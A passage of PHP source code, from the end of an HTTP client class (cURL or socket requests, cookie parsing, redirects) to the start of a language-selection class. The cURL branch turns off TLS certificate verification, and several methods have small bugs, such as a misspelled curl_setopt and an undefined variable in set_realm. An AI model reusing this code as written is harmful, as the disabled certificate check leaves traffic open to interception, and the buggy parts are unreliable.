    private $status;

    /**
     * Whether to follow http redirect or not
     *
     * @var boolean
     */
    private $redirect;

    /**
     * The maximum number of redirect to follow
     *
     * @var integer
     */
    private $maxRedirect;

    /**
     * The current number of redirects
     *
     * @var integer
     */
    private $curRedirect;

    /**
     * Contains any error occurred
     *
     * @var string
     */
    private $error;

    /**
     * Store the next token
     *
     * @var string
     */
    private $nextToken;

    /**
     * Whether to keep debug messages
     *
     * @var boolean
     */
    private $debug;

    /**
     * Stores optional http headers
     *
     * @var array
     */
    private $headerArray;

    /**
     * Stores the debug messages
     *
     * @var array
     * @todo will keep debug messages
     */
    private $debugMsg;

    /**
     * Stores proxy information (host:port)
     *
     * @var string
     */
    private $proxy;

    /**
     * Constructor for initializing the class with default values.
     *
     * @return void
     */
    public function __construct()
    {
        $this->clear();
    }

    /**
     * Initialize preferences
     *
     * This function will take an associative array of config values and
     * will initialize the class variables using them.
     *
     * Example use:
     *
     * <pre>
     * $httpConfig['method']     = 'GET';
     * $httpConfig['target']     = 'http://www.somedomain.com/index.html';
     * $httpConfig['referrer']   = 'http://www.somedomain.com';
     * $httpConfig['user_agent'] = 'My Crawler';
     * $httpConfig['timeout']    = '30';
     * $httpConfig['params']     = array('var1' => 'testvalue', 'var2' => 'somevalue');
     *
     * $http = new Http();
     * $http->initialize($httpConfig);
     * </pre>
     *
     * @param array Config values as associative array
     * @return void
     */
    function initialize($config = array())
    {
        $this->clear();
        foreach ($config as $key => $val)
        {
            if (isset($this->$key))
            {
                $method = 'set' . ucfirst(str_replace('_', '', $key));

                if (method_exists($this, $method))
                {
                    $this->$method($val);
                }
                else
                {
                    $this->$key = $val;
                }
            }
        }
    }

    /**
     * Clear Everything
     *
     * Clears all the properties of the class and sets the object to
     * the beginning state. Very handy if you are doing subsequent calls
     * with different data.
     *
     * @return void
     */
    function clear()
    {
        // Set the request defaults
        $this->host         = '';
        $this->port         = 0;
        $this->path         = '';
        $this->target       = '';
        $this->method       = 'GET';
        $this->schema       = 'http';
        $this->params       = array();
        $this->headers      = array();
        $this->cookies      = array();
        $this->_cookies     = array();
        $this->headerArray  = array();
        $this->proxy        = null;

        // Set the config details
        $this->debug        = FALSE;
        $this->error        = '';
        $this->status       = 0;
        $this->timeout      = '25';
        $this->useCurl      = TRUE;
        $this->referrer     = '';
        $this->username     = '';
        $this->password     = '';
        $this->redirect     = FALSE;
        $this->result       = null;

        // Set the cookie and agent defaults
        $app = get_app();
        $this->nextToken    = '';
        $this->useCookie    = TRUE;
        $this->saveCookie   = TRUE;
        $this->maxRedirect  = 3;
        $this->cookiePath   = $app->get_tmpdir().'/c' . \md5(__CLASS__ . \session_id()) . '.dat'; // by default, use a cookie file that is unique only to this session.
        $this->userAgent    = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.9';
    }

    /**
     * Clear all cookies
     *
     * @return void
     * @author Robert Campbell (calguy1000@gmail.com)
     */
    function resetCookies()
    {
      if( $this->cookiePath ) @unlink($this->cookiePath);
    }

    /**
     * Set target URL
     *
     * @param string URL of target resource
     * @return void
     */
    function setTarget($url)
    {
        if ($url)
        {
            $this->target = $url;
        }
    }

    /**
     * Set http method
     *
     * @param string HTTP method to use (GET or POST)
     * @return void
     */
    function setMethod($method)
    {
        if ($method == 'GET' || $method == 'POST')
        {
            $this->method = $method;
        }
    }

    /**
     * Set referrer URL
     *
     * @param string URL of referrer page
     * @return void
     */
    function setReferrer($referrer)
    {
        if ($referrer)
        {
            $this->referrer = $referrer;
        }
    }

    /**
     * Set User agent string
     *
     * @param string Full user agent string
     * @return void
     */
    function setUseragent($agent)
    {
        if ($agent)
        {
            $this->userAgent = $agent;
        }
    }

    /**
     * Set timeout of execution
     *
     * @param integer Timeout delay in seconds
     * @return void
     */
    function setTimeout($seconds)
    {
        if ($seconds > 0)
        {
            $this->timeout = $seconds;
        }
    }

    /**
     * Set cookie path (cURL only)
     *
     * @param string File location of cookiejar
     * @return void
     */
    function setCookiepath($path)
    {
        if ($path)
        {
            $this->cookiePath = $path;
        }
    }

    function setRawPostData($data)
    {
      $this->rawPostData = $data;
    }

    /**
     * Set request parameters
     *
     * @param array All the parameters for GET or POST
     * @return void
     */
    function setParams($dataArray)
    {
      if( !is_array($dataArray) )
	{
	  $this->setRawPostData($dataArray);
	}
      else if (is_array($dataArray))
        {
	  $this->params = array_merge($this->params, $dataArray);
        }
    }

    /**
     * Set basic http authentication realm
     *
     * @param string Username for authentication
     * @param string Password for authentication
     * @return void
     */
    function setAuth($username, $password)
    {
        if (!empty($username) && !empty($password))
        {
            $this->username = $username;
            $this->password = $password;
        }
    }

    /**
     * Set maximum number of redirection to follow
     *
     * @param integer Maximum number of redirects
     * @return void
     */
    function setMaxredirect($value)
    {
        if (!empty($value))
        {
            $this->maxRedirect = $value;
        }
    }

    /**
     * Add request parameters
     *
     * @param string Name of the parameter
     * @param string Value of the parameter
     * @return void
     */
    function addParam($name, $value)
    {
        if (!empty($name) && $value !== '')
        {
            $this->params[$name] = $value;
        }
    }

    /**
     * Add a cookie to the request
     *
     * @param string Name of cookie
     * @param string Value of cookie
     * @return void
     */
    function addCookie($name, $value)
    {
        if (!empty($name) && !empty($value))
        {
            $this->cookies[$name] = $value;
        }
    }

    /**
     * Whether to use cURL or not
     *
     * @param boolean Whether to use cURL or not
     * @return void
     */
    function useCurl($value = TRUE)
    {
        if (is_bool($value))
        {
            $this->useCurl = $value;
        }
    }

    /**
     * Whether to use cookies or not
     *
     * @param boolean Whether to use cookies or not
     * @return void
     */
    function useCookie($value = TRUE)
    {
        if (is_bool($value))
        {
            $this->useCookie = $value;
        }
    }

    /**
     * Whether to save persistent cookies in subsequent calls
     *
     * @param boolean Whether to save persistent cookies or not
     * @return void
     */
    function saveCookie($value = TRUE)
    {
        if (is_bool($value))
        {
            $this->saveCookie = $value;
        }
    }

    /**
     * Whether to follow HTTP redirects
     *
     * @param boolean Whether to follow HTTP redirects or not
     * @return void
     */
    function followRedirects($value = TRUE)
    {
        if (is_bool($value))
        {
            $this->redirect = $value;
        }
    }

    /**
     * Get execution result body
     *
     * @return string output of execution
     */
    function getResult()
    {
        return $this->result;
    }

    /**
     * Get execution result headers
     *
     * @return array last headers of execution
     */
    function getHeaders()
    {
        return $this->headers;
    }

    /**
     * Get execution status code
     *
     * @return integer last http status code
     */
    function getStatus()
    {
        return $this->status;
    }

    /**
     * Get last execution error
     *
     * @return string last error message (if any)
     */
    function getError()
    {
        return $this->error;
    }

    /**
     * Request Header Exists?
     */
    function requestHeaderExists($key)
    {
      if( !is_array($this->headerArray) )
	{
	  $this->headerArray = array();
	}
      if( strpos($key,':') !== FALSE )
	{
	  $tmp = explode(':',$key);
	  $key = trim($tmp[0]);
	}
      for($i = 0, $iMax = count($this->headerArray); $i < $iMax; $i++ )
	{
	  $tmp = explode(':',$this->headerArray[$i],1);
	  $key2 = trim($tmp[0]);
	  if( $key2 == $key ) return TRUE;
	}
      return FALSE;
    }

    /**
     * Add a request header
     *
     */
    function addRequestHeader($str,$prepend = false)
    {
      if( !is_array($this->headerArray) )
	{
	  $this->headerArray = array();
	}

      $f = 0;
      if( strpos($str,':') !== FALSE )
	{
	  $tmp = explode(':',$str,1);
	  $key = trim($tmp[0]);
	  for($i = 0, $iMax = count($this->headerArray); $i < $iMax; $i++ )
	    {
	      $tmp = explode(':',$this->headerArray[$i],1);
	      $key2 = trim($tmp[0]);
	      if( $key2 == $key )
		{
		  // found a duplicate.
		  $this->headerArray[$i] = $str;
		  $f = 1;
		  break;
		}
	    }
	}
      if( !$f )
	{
	  if( $prepend )
	    {
	      array_unshift($this->headerArray,$str);
	    }
	  else
	    {
	      $this->headerArray[] = $str;
	    }
	}
    }


    private function _isCurlSuitable()
    {
      static $_curlgood = -1;

      if( $_curlgood == -1 )
	{
	  $_curlgood = 0;
	  if( in_array('curl',get_loaded_extensions()) )
	    {
	      if( function_exists('curl_version') )
		{
		  $tmp = curl_version();
		  if( isset($tmp['version']) )
		    {
		      if( version_compare($tmp['version'],'7.19.7') >= 0 )
			{
			  $_curlgood = 1;
			}
		    }
		}
	    }
	}

      return $_curlgood;
    }

    /**
     * Execute a HTTP request
     *
     * Executes the http fetch using all the set properties. Intellegently
     * switch to fsockopen if cURL is not present. And be smart to follow
     * redirects (if asked so).
     *
     * @param string URL of the target page (optional)
     * @param string URL of the referrer page (optional)
     * @param string The http method (GET or POST) (optional)
     * @param array Parameter array for GET or POST (optional)
     * @return string Response body of the target page
     */
    public function execute($target = '', $referrer = '', $method = '', $data = array())
    {
        // Populate the properties
        $this->target = ($target) ? $target : $this->target;
        $this->method = ($method) ? $method : $this->method;

        $this->referrer = ($referrer) ? $referrer : $this->referrer;

        // Add the new params
        if (is_array($data) && count($data) > 0)
        {
            $this->params = array_merge($this->params, $data);
        }

        // Process data, if presented
	$queryString = '';
	if($this->rawPostData)
	{
	  $queryString = $this->rawPostData;
	}
        else if(is_array($this->params) && count($this->params) > 0)
        {
	    $queryString = http_build_query($this->params,'','&');
        }

        // If cURL is not installed, we'll force fscokopen
	$this->useCurl = $this->useCurl && $this->_isCurlSuitable();

        // GET method configuration
        if($this->method == 'GET')
        {
            if($queryString)
            {
                $this->target = $this->target . "?" . $queryString;
            }
        }

        // Parse target URL
        $urlParsed = parse_url($this->target);
	if( $this->port == 0 && isset($urlParsed['port']) && $urlParsed['port'] > 0 )
	  {
	    $this->port = $urlParsed['port'];
	  }

        // Handle SSL connection request
        if ($urlParsed['scheme'] == 'https')
        {
            $this->host = $urlParsed['host'];
            $this->port = ($this->port != 0) ? $this->port : 443;
	    $this->_socket = 'ssl://'.$urlParsed['host'].':'.$this->port;
        }
        else
        {
            $this->host = $urlParsed['host'];
            $this->port = ($this->port != 0) ? $this->port : 80;
	    $this->_socket = 'tcp://'.$urlParsed['host'].':'.$this->port;
        }

        // Finalize the target path
        $this->path   = (isset($urlParsed['path']) ? $urlParsed['path'] : '/') . (isset($urlParsed['query']) ? '?' . $urlParsed['query'] : '');
        $this->schema = $urlParsed['scheme'];

        // Pass the requred cookies
        $this->_passCookies();

        // Process cookies, if requested
	$cookieString = '';
        if(is_array($this->cookies) && count($this->cookies) > 0)
        {
            // Get a blank slate
            $tempString   = array();

            // Convert cookiesa array into a query string (ie animal=dog&sport=baseball)
            foreach ($this->cookies as $key => $value)
            {
                if(strlen(trim($value)) > 0)
                {
                    $tempString[] = $key . "=" . urlencode($value);
                }
            }

            $cookieString = join('&', $tempString);
        }

        // Do we need to use cURL
        if ($this->useCurl)
        {
            // Initialize PHP cURL handle
            $ch = curl_init();

            // GET method configuration
            if($this->method == 'GET')
            {
                curl_setopt ($ch, CURLOPT_HTTPGET, TRUE);
                curl_setopt ($ch, CURLOPT_POST, FALSE);
            }
            // POST method configuration
            else
            {
                curl_setopt ($ch, CURLOPT_POST, TRUE);
                curl_setopt ($ch, CURLOPT_HTTPGET, FALSE);

                if(isset($queryString))
                {
                    curl_setopt ($ch, CURLOPT_POSTFIELDS, $queryString);
                }
            }

            // Basic Authentication configuration
            if ($this->username && $this->password)
            {
                curl_setopt($ch, CURLOPT_USERPWD, $this->username . ':' . $this->password);
            }

	    if ($this->proxy)
	    {
	        curl_setop($ch,CURLOPT_PROXY,$this->proxy);
	    }

            // Custom cookie configuration
            if($this->useCookie)
            {
	      // we are sending cookies.
	      if(isset($cookieString))
		{
		  curl_setopt ($ch, CURLOPT_COOKIE, $cookieString);
		}
	      else
		{
		  curl_setopt($ch, CURLOPT_COOKIEFILE, $this->cookiePath);
		}
            }
            if($this->saveCookie)
	    {
	      curl_setopt($ch, CURLOPT_COOKIEJAR,      $this->cookiePath);    // Save cookies here.
	    }

	    curl_setopt($ch, CURLOPT_HEADER,     TRUE);                 // No need of headers
	    if( is_array($this->headerArray) )
	      {
		curl_setopt($ch,CURLOPT_HTTPHEADER,$this->headerArray);
	      }
	    else
	      {
		curl_setopt($ch, CURLOPT_HEADER,     TRUE);                 // No need of headers
	      }
	    curl_setopt($ch, CURLOPT_NOBODY,         FALSE);                // Return body
            curl_setopt($ch, CURLOPT_TIMEOUT,        $this->timeout);       // Timeout
            curl_setopt($ch, CURLOPT_USERAGENT,      $this->userAgent);     // Webbot name
            curl_setopt($ch, CURLOPT_URL,            $this->target);        // Target site
            curl_setopt($ch, CURLOPT_REFERER,        $this->referrer);      // Referer value

            curl_setopt($ch, CURLOPT_VERBOSE,        FALSE);                // Minimize logs
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);                // No certificate
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, $this->redirect);      // Follow redirects
            curl_setopt($ch, CURLOPT_MAXREDIRS,      $this->maxRedirect);   // Limit redirections to four
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);                 // Return in string

            // Get the target contents
            $content = curl_exec($ch);
	    if( !empty($content) )
	      {
		$tmp = explode("\r\n\r\n", $content,2);
		for($i = 0, $iMax = count($tmp); $i < $iMax; $i++ )
		  {
		    if( empty($tmp[$i]) ) unset($tmp[$i]);
		  }

		if( count($tmp) > 1 )
		  {
		    // Store the contents
		    $this->result = $tmp[1];
		  }

		// Parse the headers
		$this->_parseHeaders($tmp[0]);
	      }

            // Get the request info
            $status  = curl_getinfo($ch);

            // Store the error (is any)
            $this->_setError(curl_error($ch));

            // Close PHP cURL handle
            curl_close($ch);
        }
        else
        {
	  // Get a file pointer
	  $filePointer = @stream_socket_client($this->_socket, $errorNumber, $errorString, $this->timeout);

	  // We have an error if pointer is not there
	  if (!$filePointer)
            {
	      $this->_setError('Failed opening http socket connection: ' . $errorString . ' (' . $errorNumber . ')');
	      return FALSE;
            }

            // Set http headers with host, user-agent and content type
            $this->addRequestHeader($this->method .' '. $this->path. "  HTTP/1.1",true);
	    $this->addRequestHeader("Host: " . $this->host);
	    $this->addRequestHeader('Accept: */*');
 	    $this->addRequestHeader("User-Agent: " . $this->userAgent);
	    if( !$this->requestHeaderExists('Content-Type') )
	      {
		$this->addRequestHeader("Content-Type: application/x-www-form-urlencoded");
	      }

            // Specify the custom cookies
            if ($this->useCookie && $cookieString != '')
            {
	      $this->addRequestHeader("Cookie: " . $cookieString);
            }

            // POST method configuration
            if ($this->method == "POST")
            {
              $this->addRequestHeader("Content-Length: " . strlen($queryString));
            }

            // Specify the referrer
	    $this->addRequestHeader("Referer: " . $this->referrer);
            if ($this->referrer != '')
            {
	      $this->addRequestHeader("Referer: " . $this->referrer);
            }

            // Specify http authentication (basic)
            if ($this->username && $this->password)
            {
	      $this->addRequestheader("Authorization: Basic " . base64_encode($this->username . ':' . $this->password));
            }

	    $this->addRequestHeader("Connection: close");

            // POST method configuration
	    $requestHeader = implode("\r\n",$this->headerArray)."\r\n\r\n";
            if ($this->method == "POST")
            {
                $requestHeader .= $queryString;
            }

            // We're ready to launch
            fwrite($filePointer, $requestHeader);


            // Clean the slate
            $responseHeader = '';
            $responseContent = '';

            // 3...2...1...Launch !
	    $n = 0;
            do
            {
                $responseHeader .= fread($filePointer, 1);
            }
            while (!preg_match('/\\r\\n\\r\\n$/', $responseHeader) && !feof($filePointer));

            // Parse the headers
            $this->_parseHeaders($responseHeader);

            // Do we have a 301/302 redirect ?
            if (($this->status == '301' || $this->status == '302') && $this->redirect == TRUE)
            {
                if ($this->curRedirect < $this->maxRedirect)
                {
                    // Let's find out the new redirect URL
                    $newUrlParsed = parse_url($this->headers['location']);

                    if ($newUrlParsed['host'])
                    {
                        $newTarget = $this->headers['location'];
                    }
                    else
                    {
                        $newTarget = $this->schema . '://' . $this->host . '/' . $this->headers['location'];
                    }

                    // Reset some of the properties
                    $this->port   = 0;
                    $this->status = 0;
                    $this->params = array();
                    $this->method = 'POST';
                    $this->referrer = $this->target;

                    // Increase the redirect counter
                    $this->curRedirect++;

                    // Let's go, go, go !
                    $this->result = $this->execute($newTarget);
                }
                else
                {
                    $this->_setError('Too many redirects.');
                    return FALSE;
                }
            }
            else
            {
                // Nope...so lets get the rest of the contents (non-chunked)
	      if (!isset($this->headers['transfer-encoding']) || $this->headers['transfer-encoding'] != 'chunked')
                {
                    while (!feof($filePointer))
                    {
                        $responseContent .= fgets($filePointer, 128);
                    }
                }
                else
		  {
                    // Get the contents (chunked)
		    while (!feof($filePointer) && $chunkLength = hexdec(fgets($filePointer)))
                    {
                        $responseContentChunk = '';
                        $readLength = 0;

                        while ($readLength < $chunkLength)
                        {
                            $responseContentChunk .= fread($filePointer, $chunkLength - $readLength);
                            $readLength = strlen($responseContentChunk);
                        }

                        $responseContent .= $responseContentChunk;
                        fgets($filePointer);
                    }
                }

                // Store the target contents
                $this->result = chop($responseContent);
            }
        }

        // There it is! We have it!! Return to base !!!
        return $this->result;
    }

    /**
     * Parse Headers (internal)
     *
     * Parse the response headers and store them for finding the resposne
     * status, redirection location, cookies, etc.
     *
     * @param string Raw header response
     * @return void
     * @access private
     */
    function _parseHeaders($responseHeader)
    {
        // Break up the headers
        $headers = explode("\r\n", $responseHeader);

        // Clear the header array
        $this->_clearHeaders();

        // Get resposne status
        if($this->status == 0)
        {
            // Oooops !
            if(!preg_match("/http\/[0-9]+\.[0-9]+[ \t]+([0-9]+)[ \t]*(.*)\$/i", $headers[0], $matches))
            {
                $this->_setError('Unexpected HTTP response status');
                return FALSE;
            }

            // Gotcha!
            $this->status = $matches[1];
            array_shift($headers);
        }

        // Prepare all the other headers
        foreach ($headers as $header)
        {
            // Get name and value
            $headerName  = strtolower($this->_tokenize($header, ':'));
            $headerValue = trim(chop($this->_tokenize("\r\n")));

            // If its already there, then add as an array. Otherwise, just keep there
            if(isset($this->headers[$headerName]))
            {
                if(gettype($this->headers[$headerName]) == "string")
                {
                    $this->headers[$headerName] = array($this->headers[$headerName]);
                }

                $this->headers[$headerName][] = $headerValue;
            }
            else
            {
                $this->headers[$headerName] = $headerValue;
            }
        }

        // Save cookies if asked
        if ($this->saveCookie && isset($this->headers['set-cookie']))
        {
            $this->_parseCookie();
        }
    }

    /**
     * Clear the headers array (internal)
     *
     * @return void
     * @access private
     */
    function _clearHeaders()
    {
        $this->headers = array();
    }

    /**
     * Parse Cookies (internal)
     *
     * Parse the set-cookie headers from response and add them for inclusion.
     *
     * @return void
     * @access private
     */
    function _parseCookie()
    {
        // Get the cookie header as array
        if(gettype($this->headers['set-cookie']) == "array")
        {
            $cookieHeaders = $this->headers['set-cookie'];
        }
        else
        {
            $cookieHeaders = array($this->headers['set-cookie']);
        }

        // Loop through the cookies
        for ($cookie = 0, $cookieMax = count($cookieHeaders); $cookie < $cookieMax; $cookie++)
        {
            $cookieName  = trim($this->_tokenize($cookieHeaders[$cookie], "="));
            $cookieValue = $this->_tokenize(";");

            $urlParsed   = parse_url($this->target);

            $domain      = $urlParsed['host'];
            $secure      = '0';

            $path        = "/";
            $expires     = "";

            while(($name = trim(urldecode($this->_tokenize("=")))) != "")
            {
                $value = urldecode($this->_tokenize(";"));

                switch($name)
                {
                    case "path"     : $path     = $value; break;
                    case "domain"   : $domain   = $value; break;
                    case "secure"   : $secure   = ($value != '') ? '1' : '0'; break;
                }
            }

            $this->_setCookie($cookieName, $cookieValue, $expires, $path , $domain, $secure);
        }
    }

    /**
     * Set cookie (internal)
     *
     * Populate the internal _cookies array for future inclusion in
     * subsequent requests. This actually validates and then populates
     * the object properties with a dimensional entry for cookie.
     *
     * @param string Cookie name
     * @param string Cookie value
     * @param string Cookie expire date
     * @param string Cookie path
     * @param string Cookie domain
     * @param string Cookie security (0 = non-secure, 1 = secure)
     * @return void
     * @access private
     */
    function _setCookie($name, $value, $expires = "" , $path = "/" , $domain = "" , $secure = 0)
    {
        if(strlen($name) == 0)
        {
            return($this->_setError("No valid cookie name was specified."));
        }

        if(strlen($path) == 0 || strcmp($path[0], "/"))
        {
            return($this->_setError("$path is not a valid path for setting cookie $name."));
        }

        if($domain == "" || !strpos($domain, ".", $domain[0] == "." ? 1 : 0))
        {
            return($this->_setError("$domain is not a valid domain for setting cookie $name."));
        }

        $domain = strtolower($domain);

        if(!strcmp($domain[0], "."))
        {
            $domain = substr($domain, 1);
        }

        $name  = $this->_encodeCookie($name, true);
        $value = $this->_encodeCookie($value, false);

        $secure = intval($secure);

        $this->_cookies[] = array( "name"      =>  $name,
                                   "value"     =>  $value,
                                   "domain"    =>  $domain,
                                   "path"      =>  $path,
                                   "expires"   =>  $expires,
                                   "secure"    =>  $secure
                                 );
    }

    /**
     * Encode cookie name/value (internal)
     *
     * @param string Value of cookie to encode
     * @param string Name of cookie to encode
     * @return string encoded string
     * @access private
     */
    function _encodeCookie($value, $name)
    {
        return($name ? str_replace("=", "%25", $value) : str_replace(";", "%3B", $value));
    }

    /**
     * Pass Cookies (internal)
     *
     * Get the cookies which are valid for the current request. Checks
     * domain and path to decide the return.
     *
     * @return void
     * @access private
     */
    function _passCookies()
    {
        if (is_array($this->_cookies) && count($this->_cookies) > 0)
        {
            $urlParsed = parse_url($this->target);
            $tempCookies = array();

            foreach($this->_cookies as $cookie)
            {
                if ($this->_domainMatch($urlParsed['host'], $cookie['domain']) && (0 === strpos($urlParsed['path'], $cookie['path']))
                    && (empty($cookie['secure']) || $urlParsed['protocol'] == 'https'))
                {
                    $tempCookies[$cookie['name']][strlen($cookie['path'])] = $cookie['value'];
                }
            }

            // cookies with longer paths go first
            foreach ($tempCookies as $name => $values)
            {
                krsort($values);
                foreach ($values as $value)
                {
                    $this->addCookie($name, $value);
                }
            }
        }
    }

    /**
    * Checks if cookie domain matches a request host (internal)
    *
    * Cookie domain can begin with a dot, it also must contain at least
    * two dots.
    *
    * @param string Request host
    * @param string Cookie domain
    * @return bool Match success
     * @access private
    */
    function _domainMatch($requestHost, $cookieDomain)
    {
        if ('.' != $cookieDomain[0])
        {
            return $requestHost == $cookieDomain;
        }
        elseif (substr_count($cookieDomain, '.') < 2)
        {
            return false;
        }
        else
        {
            return substr('.'. $requestHost, - strlen($cookieDomain)) == $cookieDomain;
        }
    }

    /**
     * Tokenize String (internal)
     *
     * Tokenize string for various internal usage. Omit the second parameter
     * to tokenize the previous string that was provided in the prior call to
     * the function.
     *
     * @param string The string to tokenize
     * @param string The seperator to use
     * @return string Tokenized string
     * @access private
     */
    function _tokenize($string, $separator = '')
    {
        if(!strcmp($separator, ''))
        {
            $separator = $string;
            $string = $this->nextToken;
        }

        for($character = 0, $characterMax = strlen($separator); $character < $characterMax; $character++)
        {
            if(gettype($position = strpos($string, $separator[$character])) == "integer")
            {
                $found = (isset($found) ? min($found, $position) : $position);
            }
        }

        if(isset($found))
        {
            $this->nextToken = substr($string, $found + 1);
            return(substr($string, 0, $found));
        }
        else
        {
            $this->nextToken = '';
            return($string);
        }
    }

    /**
     * Set error message (internal)
     *
     * @param string Error message
     * @return string Error message
     * @access private
     */
    function _setError($error)
    {
        if ($error != '')
        {
            $this->error = $error;
            return $error;
        }
    }
}

?>
<?php

namespace __appbase;

class langtools_Exception extends \Exception {}

class langtools
{
  const DFLT_REALM = '__:DFLT:__';
  private static $_instance;
  private $_allowed_languages;
  private $_dflt_language;
  private $_cur_language;
  private $_langdata;
  private $_realm = '__:DFLT:__';

  protected function __construct() {}

  public static function &get_instance()
  {
    if( !is_object(self::$_instance) ) self::$_instance = new langtools();
    return self::$_instance;
  }


  public static function set_translator(langtools &$obj)
  {
    self::$_instance = $obj;
  }


  /**
   * Get the language(s) that the browser allows
   *
   * @return array of hashes.  Each element of the array will have members lang, and priority, where priority is between 0 and 1
   */
  final public static function get_browser_langs()
  {
    $request = request::get();
    $langs = $request->accept_language();
    $tmp = explode(',',$langs);

    $out = array();
    for( $i = 0; $i < count($tmp); $i++ ) {
      $tmp2 = explode(';q=',$tmp[$i],2);
      if( $tmp2[0] == '' || $tmp2[0] == '*' ) continue;
      $priority = 1;
      if( isset($tmp2[1]) && $tmp2[1] != '' ) $priority = floatval($tmp2[1]);
      $out[] = array('lang'=>$tmp2[0],'priority'=>$priority);
    }

    // todo: sort by priority.
    return $out;
  }


  /**
   * Test if a language is available
   *
   * @param string The language naem
   * @return boolean
   */
  final public function language_available($str)
  {
    $tmp = nlstools::get_instance()->find($str);
    if( is_object($tmp) ) return TRUE;
    return FALSE;
  }


  /**
   * Get the list of available languages
   *
   * @return array of available languages
   */
  final public function get_available_languages()
  {
    die('not implemented');
  }


  /**
   * Set the allowed languages.
   *
   * @param mixed String of comma delimited languages, or array of languages
   * @return void
   */
  final public function set_allowed_languages($data)
  {
    if( !is_array($data) ) $data = explode(',',$data);

    $out = array();
    for( $i = 0; $i < count($data); $i++ ) {
      if( $this->language_available($data[$i]) )  $out[] = $data[$i];
    }

    if( count($out) == 0 ) throw new langtools_Exception('set_allowed_languages no matches with available languages');

    $this->_allowed_languages = $out;
  }


  /**
   * Get list of allowed languages
   *
   * @return array of language strings
   */
  final public function get_allowed_languages()
  {
    return $this->_allowed_languages;
  }


  /**
   * Test if a language is allowed
   *
   * @param string language string
   * @return boolean TRUE if no allowed languages are set, TRUE if the specified language is allowed, false if not in the allowed list.
   */
  final public function language_allowed($str)
  {
    if( is_array($this->_allowed_languages) && count($this->_allowed_languages) ) {
      if( in_array($str,$this->_allowed_languages) ) return TRUE;
      return FALSE;
    }
    return TRUE;
  }


  /**
   * Find the first allowed language that the browser supports
   *
   * @return mixed lang string, or null
   */
  final public function match_browser_lang()
  {
    $langs = $this->get_browser_langs();
    if( is_array($langs) && count($langs) ) {
      for( $i = 0; $i < count($langs); $i++ ) {
	$obj = nlstools::get_instance()->find($langs[$i]['lang']); // does alias lookup.
	if( $obj ) {
	  // it's available... now check if it's allowed.
	  if( $this->language_allowed($obj->name()) ) return $obj->name();
	}
      }
    }
  }


  /**
   * Set the default language
   * Throws an exception if the specified language is not available, or not allowed.
   *
   * @param string language name.
   * @return void
   */
  final public function set_default_language($str)
  {
    if( !$this->language_available($str) || !$this->language_allowed($str) ) {
      throw new langtools_Exception('default language is not in list of allowed langages');
    }

    $this->_dflt_language = $str;
  }


  /**
   * Get the default language
   * Throws an exception of no default language has been set.
   *
   * @return string
   */
  final public function get_default_language()
  {
    if( !$this->_dflt_language ) throw new langtools_Exception('cannot get the default language, if it is not set');

    return $this->_dflt_language;
  }


  /**
   * Get the users selected language.  May use advanced methods to store the users selected language
   * or retrieve it from cookies, session variables, or the request.
   *
   * @virtual
   * @return string
   */
  public function get_selected_language()
  {
    $request = request::get();
    $session = session::get();

    // get the users preferred language.
    $lang = null;
    if( isset($request['curlang']) ) $lang = $request['curlang']; // it's stored in the get (or post)
    if( !$lang && isset($session['current_language']) )	$lang = $session['current_language']; // it's stored in the session
    if( !$lang ) $lang = $this->match_browser_lang(); // not set anywhere. get it from the browser.

    // match available languages.
    return $lang;
  }


  /**
   * Set the current language
   * Throws a new exception if the specified language is not available or allowed
   * This method sets the 'current' language, and also updates the locale for the selected language.
   *
   * @virtual
   * @param string the requested language
   */
  public function set_current_language($str)
  {
    if( !$this->language_available($str) || !$this->language_allowed($str) ) {
      throw new langtools_Exception('default language is not in list of allowed langages');
    }

    $this->_cur_language = $str;
    $obj = nlstools::get_instance()->find($str);
    $locale = $obj->locale();
    if( !is_array($locale) ) $locale = explode(',',$locale);
    $old = setlocale(LC_ALL,'0');
    $tmp = setlocale(LC_ALL,$locale);
    if( $tmp === FALSE ) setlocale(LC_ALL,$old);
  }


  /**
   * Get the current language
   * Throws an exception if the current language and the default language has not been set
   *
   * @virtual
   * @returns string The current language, if set, otherwise the default language.
   */
  public function get_current_language()
  {
    if( !$this->_cur_language ) {
      if( !$this->_dflt_language ) throw new langtools_Exception('cannot get language, no default set');
      return $this->_dflt_language;
    }
    return $this->_cur_language;
  }

  /**
   * Get a hash of languages suitable for display in a dropdown
   *
   * @virtual
   * @returns a hash
   */
  public function get_language_list($langs)
  {
    $outp = null;
    foreach( $langs as $one ) {
      $tmp = nls()->find($one);
      if( !is_object($tmp) ) continue;

      if( !is_array($outp) ) $outp = array();
      $outp[$one] = $tmp->display();
    }
    return $outp;
  }

  /**
   * Set the selected language
   * This method may store the selected language in the session, or a cookie etc.
   *
   * @virtual
   * @param string The user selected language
   */
  public function set_selected_language($str)
  {
    if( !$this->language_available($str) ) throw new langtools_Exception('cannot set selected language to a language that is not available');
    if( !$this->language_allowed($str) ) throw new langtools_Exception('cannot set selected language to a language that is not allowed');

    $session = session::get();
    $session['current_language'] = $str;
    $this->set_current_language($str);
  }

  /**
   * Set the language realm
   *
   * @param string the realm name, if empty the default realm will be used.
   */
  final public function set_realm($str = '')
  {
    if( !$str ) $str = self::DFLT_REALM;
    $this->_realm = $realm;
  }

  /**
   * Return the current realm name
   *
   * @return string
   */
  final public function get_realm()
  {
    return $this->_realm;
  }


  /**
   * Return the absolute path to the language directory.
   * Throws an exception if the realm directory does not exist.
   *
   * @param string The realm name.  If empty, the default realm can be assumed.
   * @returns string
   */
  public function get_lang_dir($realm = '')
  {
    if( !$realm ) $realm = self::DFLT_REALM;
    if( $realm == self::DFLT_REALM ) $realm = 'app';
    $dir = app::get_appdir()."/lang/$realm";
    if( !is_dir($dir) )	throw new langtools_Exception('Language directory '.$dir.' not found');

    return $dir;
  }


  /**
   * Load a language realm.
   *
   * @param string, The realm name.  If empty the default realm is assumed.
   * @return array of translated lang strings.
   */
  public function load_realm($realm = '')
  {
    // load the realm.
    $fns = array();
    $fns[] = $this->get_lang_dir($realm)."/en_US.php";
    $fns[] = $this->get_lang_dir($realm)."/ext/".$this->get_current_language().'.php';
    $fns[] = $this->get_lang_dir($realm)."/custom/".$this->get_current_language().'.php';

    $lang = array();
    foreach( $fns as $fn ) {
      if( file_exists($fn) ) include_once($fn);
    }

    return $lang;
  }

  /**
   * Unload the realm
   *
